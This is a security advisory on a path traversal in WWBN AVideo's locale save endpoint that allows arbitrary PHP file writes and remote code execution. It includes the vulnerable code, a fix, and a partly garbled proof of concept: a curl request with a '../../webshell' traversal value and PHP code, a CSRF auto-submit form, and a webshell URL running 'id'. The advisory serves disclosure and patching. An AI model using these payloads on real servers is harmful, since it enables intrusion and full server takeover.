GHSA-6rc6-p838-686f WWBN AVideo has a Path Traversal in Locale Save Endpoint Enables Arbitrary PHP File Write to Any Web-Accessible Directory (RCE)

• Packagist wwbn/avideo: <= 29.0 (no fix yet)

Summary The locale save endpoint (`locale/save.php`) constructs a file path by directly concatenating `$_POST['flag']` into the path at line 30 without any sanitization. The `$_POST['code']` parameter is then written verbatim to that path via `fwrite()` at line 40. An admin attacker (or any user who can CSRF an admin, since no CSRF token is checked and cookies use `SameSite=None`) can traverse out of the `locale/` directory and write arbitrary `.php` files to any writable location on the filesystem, achieving Remote Code Execution. Details In `locale/save.php`, the vulnerable code path is: ```php // locale/save.php:10 — only auth check, no CSRF token if (!User::isAdmin() || !empty($global['disableAdvancedConfigurations'])) { // ... die(json_encode($obj)); } // locale/save.php:16 — base directory $dir = "{$global['systemRootPath']}locale/"; // locale/save.php:30 — UNSANITIZED path concatenation $file = $dir.($_POST['flag']).".php"; $myfile = fopen($file, "w") or die("Unable to open file!"); // locale/save.php:40 — UNSANITIZED content write fwrite($myfile, $_POST['code']); ``` Root cause: `$_POST['flag']` is concatenated directly into the file path with no call to `basename()`, `realpath()`, or any filtering of `../` sequences. A `flag` value like `../../shell` resolves to `{systemRootPath}locale/../../shell.php`, which escapes the locale directory and writes to `{systemRootPath}../shell.php` — the web-accessible parent directory. The file content is constructed as: ```php ' \ -X POST 'https://target/locale/save.php' \ -d 'flag=../../webshell&code=$t["x"]=1;?> document.forms[0].submit(); ``` After the admin visits the page, the attacker accesses `https://target/webshell.php?c=id` for RCE. Impact • Remote Code Execution: An attacker can write arbitrary PHP code to any writable web-accessible directory, achieving full server compromise. • CSRF to RCE chain: Because no CSRF token is required and `SameSite=None` is set, any user who can trick an admin into visiting a malicious page achieves unauthenticated RCE. This significantly expands the attack surface beyond admin-only. • Full server compromise: With arbitrary PHP execution as the web server user, the attacker can read/modify the database, access all user data, pivot to other services, and potentially escalate privileges on the host. Recommended Fix Sanitize the `flag` parameter to prevent path traversal and add CSRF protection: ```php // locale/save.php — after the admin check at line 14 // Add CSRF token validation if (empty($_POST['token']) || !User::isValidToken($_POST['token'])) { $obj->status = 0; $obj->error = __("Invalid token"); die(json_encode($obj)); } // Sanitize flag to prevent path traversal $flag = basename($_POST['flag']); // strip directory components if (empty($flag) || preg_match('/[^a-zA-Z0-9_\-]/', $flag)) { $obj->status = 0; $obj->error = __("Invalid locale flag"); die(json_encode($obj)); } $file = $dir . $flag . ".php"; // Verify resolved path is within expected directory $realDir = realpath($dir); $realFile = realpath(dirname($file)) . '/' . basename($file); if (strpos($realFile, $realDir) !== 0) { $obj->status = 0; $obj->error = __("Invalid file path"); die(json_encode($obj)); } ``` Additionally, the `code` parameter should be validated to ensure it only contains translation assignments (`$t[...] = ...;`) and does not include PHP opening/closing tags or arbitrary code.